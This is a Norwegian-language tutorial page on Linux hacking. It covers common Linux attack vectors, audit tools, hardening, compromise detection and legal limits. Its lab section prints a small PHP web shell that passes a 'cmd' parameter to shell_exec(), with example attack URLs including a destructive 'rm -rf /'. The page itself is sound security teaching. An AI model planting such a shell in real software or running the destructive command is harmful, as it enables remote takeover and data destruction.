Linux-hackingveiledning: Ubuntu Kommandoer og verktøy

Linux er det mest brukte serveroperativsystemet, spesielt for webservere. Det er åpen kildekode, som betyr at alle kan lese kildekoden. Denne åpenheten går begge veier: vedlikeholdere bruker den til å finne og fikse feil raskt, mens angripere studerer den samme koden på jakt etter svakheter å utnytte. Linux-hacking er praksisen med å utnytte disse svakhetene for å få uautorisert tilgang til et system.

Avsnittene nedenfor dekker hva Linux er, sikkerhetsproblemene som påvirker det, et praktisk blikk på hacking med Ubuntu, og mottiltakene du kan iverksette.

Rask notat om Linux

Linux er et operativsystem med åpen kildekode. Mange distribusjoner er bygget på det, inkludert Red Hat Enterprise Linux, Fedora, Debian og UbuntuFordi kildekoden er publisert, kan forskere, leverandører og angripere inspisere den. Angripere bruker denne tilgangen til å se etter utnyttbare feil, mens den samme synligheten lar vedlikeholdere sende rettelser raskere enn lukkede plattformer ofte klarer. Linux kjører som et operativsystem for server, stasjonær datamaskin, nettbrett eller mobil enhet.

Linux-programmer kan betjenes via et grafisk grensesnitt eller fra kommandolinjen. Kommandolinjearbeid er raskere og mer presist enn å klikke seg gjennom et grafisk brukergrensesnitt, og det er derfor sikkerhetstestere som jobber med distribusjoner som Kali Linux bruker nesten all tiden sin i en terminal. Å kunne de grunnleggende kommandoene er derfor en praktisk forutsetning.

Henvis til dette Linux opplæring for det grunnleggende, og for Kali Linux tutorial for den sikkerhetsfokuserte distribusjonen som er bygget oppå dem.

Vanlige sikkerhetsproblemer og angrepsvektorer i Linux

Angrep på Linux er sjelden avhengige av eksotiske utnyttelser. Telemetri publisert i 2025 og 2026 viser at de fleste kompromitteringer tractilbake til et lite sett med tilbakevendende svakheter, og å kjenne dem forteller deg hvor du bør bruke defensive innsatsen først.

• Svak eller gjenbrukt SSH-legitimasjon – forsøk på brute force og legitimasjonsstuffing mot internettrettet SSH står for det store flertallet av fiendtlig aktivitet observert på Linux-endepunkter.
• Uoppdaterte kjerne- og pakkefeil – Linux-kjerneteamet ble en CVE-nummereringsautoritet i 2024, og rapporterte kjerne-CVE-er økte fra omtrent 290 i 2023 til mer enn 3,500 året etter, så patch-etterslep bygger seg raskt opp.
• Feilkonfigurasjon — standardkontoer, unødvendige daemoner, filer som kan skrives i hele verden og tillatte sudo-regler deler ut rettigheter som ingen utnyttelse var nødvendig for å oppnå.
• Sårbare webapplikasjoner – mangler som f.eks. SQL-injeksjon og cross-site scripting lar en angriper nå serveren gjennom applikasjonen i stedet for operativsystemet. Webshells er den vanligste skadelige artefakten som finnes på kompromitterte Linux-servere.
• Feil ved eskalering av rettigheter — lokale feil som gjør en begrenset konto til root. Noen har overlevd uoppdaget i kjernen i mer enn et tiår før de ble avslørt.
• Risiko i forsyningskjeden og avhengighet — tredjepartspakker, språkbiblioteker og containerbilder henter inn kode som ingen i driftsteamet har gjennomgått.

Ingen av disse krever at en angriper beseirer Linux selv. Analyser av inntrenginger i 2025 viste at omtrent fire av fem ikke involverte skadelig programvare i det hele tatt, men i stedet var avhengige av feilkonfigurasjon og stjålne legitimasjonsdetaljer.

Linux Hacking Tools

Sikkerhetstestere og systemadministratorer bruker de samme skannerne: én side for å finne svakheter før en angriper gjør det, den andre for å bekrefte at rettelsene holder. Verktøyene nedenfor er de som oftest brukes til å revidere en Linux-vert.

Listen er ikke uttømmende; den gir en idé om verktøyene som er tilgjengelige for revisjon. Ubuntu og andre Linux-systemer. Eldre guider anbefaler fortsatt SARA, Security Auditor's Research Assistant, men den endelige utgivelsen er fra 2009 og prosjektsiden er offline, så Lynis og OpenVAS er de opprettholdte alternativene.

Hacking-aktivitet: Hack a Ubuntu Linux-system som bruker PHP

I dette praktiske scenariet skal vi se på hvordan en Linux-vert kan nås via en webapplikasjon, ved å bruke PHP som eksempel. Ingen levende offer er målrettet. Hvis du vil prøve det ut, installer LAMPP, Linux-versjonen av XAMPP, på din egen maskin.

PHP kommer med to funksjoner som kan brukes til å kjøre operativsystemkommandoer: exec() og shell_exec(). Funksjonen exec() returnerer den siste linjen i kommandoutdataene, mens shell_exec() returnerer hele resultatet av kommandoen som en streng.

For demonstrasjonsformål, anta at en angriper klarer å laste opp følgende fil til en webserver.

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

HER,

Skriptet ovenfor tar kommandoen fra GET-variabelen cmd. Kommandoen utføres ved hjelp av shell_exec(), og resultatet returneres i nettleseren.

Koden ovenfor kan utnyttes ved hjelp av følgende URL

http://localhost/cp/konsole.php?cmd=ls%20-l

HER,

• «…konsole.php?cmd=ls%20-l» tilordner verdien ls –l til variabelen cmd.

Kommandoen på Ubuntu serveren kjøres derfor som

shell_exec('ls -l') ;

Å kjøre koden ovenfor på en webserver gir et resultat som ligner på følgende.

Utdataene viser ganske enkelt filene i gjeldende katalog og deres tillatelser.

Anta nå at angriperen sender følgende kommando i stedet.

rm -rf /

HER,

• «rm» fjerner filer.
• «rf» gjør at rm-kommandoen kjører i rekursiv modus, og sletter alle mapper og filer.
• «/» instruerer kommandoen til å starte sletting fra rotkatalogen.

Angrepet URL ville sett omtrent slik ut

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

Én uvalidert parameter er derfor nok til å gi en angriper de rettighetene webserverkontoen har. De to avsnittene som følger eksisterer for å forhindre at dette skjer, og for å fange det opp når forebyggingen mislykkes.

Slik forhindrer du Linux-hacks

Linux-hacking utnytter sårbarheter i operativsystemet og i programvaren som kjører oppå det. En organisasjon kan ta i bruk følgende kontroller, brukt sammen, for å lukke de fleste åpningene beskrevet ovenfor.

• Patchhåndtering – oppdateringer fikser feilene angripere utnytter for å kompromittere et system. En definert policy sørger for at relevante oppdateringer installeres raskt, i stedet for når noen husker det.
• Riktig OS-konfigurasjon — deaktiver inaktive brukerkontoer og unødvendige daemoner. Endre standardinnstillinger, inkludert standard brukernavn, passord for delte programmer og standard portnumre.
• SSH-herding — deaktiver root-pålogging og passordautentisering, tillat kun navngitte brukere eller grupper, og begrens nye autentiseringsforsøk. Dette stenger det mest angrepne inngangspunktet på Linux.
• Minste privilegium — gi kontoer og tjenester bare de rettighetene de trenger, og begrens sudo til spesifikke kommandoer i stedet for generell administrativ tilgang.
• Obligatorisk tilgangskontroll — behold SELinux (Red Hat-familien) eller AppArmor (Debian og Ubuntu) i håndhevingsmodus slik at en kompromittert tjeneste ikke kan nå resten av systemet.
• Inndatavalidering — demonstrasjonen ovenfor fungerer bare fordi forespørselsdata når en skallfunksjon. Send aldri brukerinput til exec() eller shell_exec().
• Brannmurer og segmentering — eksponer bare portene en tjeneste virkelig trenger, ved hjelp av en brannmur og nettverkssegmentering for å begrense hva en kompromittert vert kan nå.
• Inntrengningsdeteksjonssystemer – slike verktøy kan brukes til å oppdage uautorisert tilgang til systemet, og noen kan også blokkere forsøket.
• Testede sikkerhetskopier – sikkerhetskopier som kan gjenopprettes frakoblet, gjør en destruktiv kommando som den ovenfor til et driftsavbrudd snarere enn et permanent tap.

Slik oppdager du et kompromittert Linux-system

Forebygging mislykkes til slutt, så det andre spørsmålet er hvor raskt du vil legge merke til det. Deteksjon på Linux avhenger av å samle inn riktig bevis før en hendelse, ikke etter en.

• Revisjonslogging — kjernerevisjonsrammeverket, audittd, registrerer bruk av rettigheter, filtilgang og systemkall i en form som en kompromittert prosess ikke kan omskrive i stillhet. Videresend disse loggene fra verten til en sentral innsamler.
• Autentiseringslogger — en rekke feil etterfulgt av en enkelt suksess i /var/log/auth.log eller /var/log/secure er den klassiske brute-force-signaturen.
• Uventede prosesser og forbindelser – en lyttetjeneste eller utgående forbindelse som ingen kan gjøre rede for, fortjener umiddelbar etterforskning.
• Overvåking av filintegritet — verktøy som hasher systembinærfiler og konfigurasjonsfiler flagger endringer i filer som aldri skal endres.
• Planlagte oppgaver og oppstartselementer — persistens havner vanligvis i cron-jobber, systemd-enheter eller skallprofilskript.
• Nye eller endrede kontoer — se etter ukjente brukere, eventuelle andre kontoer med UID 0 og SSH-nøkler som ingen har lagt til.
• Webserverkataloger – fordi webshells er den vanligste skadelige filen som finnes på Linux-servere, fortjener uventede skriptfiler under en webrot nøye oppmerksomhet.
• Planlagte revisjoner — kjør et vertsrevisjonsverktøy som Lynis etter en tidsplan og behandle hver rapport som en arbeidsliste i stedet for en engangsøvelse.

Hvis du finner bevis på et kompromittert system, isoler verten, behold loggene og et diskavbildning før du endrer noe, og gjenoppbygg fra medier som du vet fungerer, i stedet for å prøve å rense et kjørende system. Bevishåndteringssiden av dette arbeidet er dekket i digital forensics.

Juridiske og etiske grenser for Linux-hacking

Alle teknikkene på denne siden er lovlige å praktisere på systemer du eier eller har skriftlig tillatelse til å teste, og ulovlige nesten alle andre steder. Øvelsen ovenfor går bevisst mot en lokal installasjon av nettopp den grunn.

• Skriftlig fullmakt – et signert omfang, et avtalt testvindu og en navngitt kontaktperson er det som skiller en penetrasjonstest fra et lovbrudd. Muntlig godkjenning er ikke nok.
• Hold deg innenfor rekkevidden — verter, adresseområder og teknikker som ikke er oppført er ikke tillatt, selv når de er tilgjengelige.
• Håndter data forsiktig — bevis som er samlet inn under en test inneholder fortsatt reelle personopplysninger og må lagres sikkert og destrueres etterpå.
• Rapporter ansvarlig — opplyse eieren om funnene og gi tid til utbedring før noe publiseres.

Den juridiske eksponeringen er reell: uautorisert tilgang til et datasystem er en straffbar handling i henhold til lover som den amerikanske Computer Fraud and Abuse Act og den britiske Computer Misuse Act. Hvis du ønsker å bygge en karriere på disse ferdighetene, ta en anerkjent vei – en sikkerhetssertifisering pluss et laboratorium du eier, i stedet for noen andres server.

Spørsmål og svar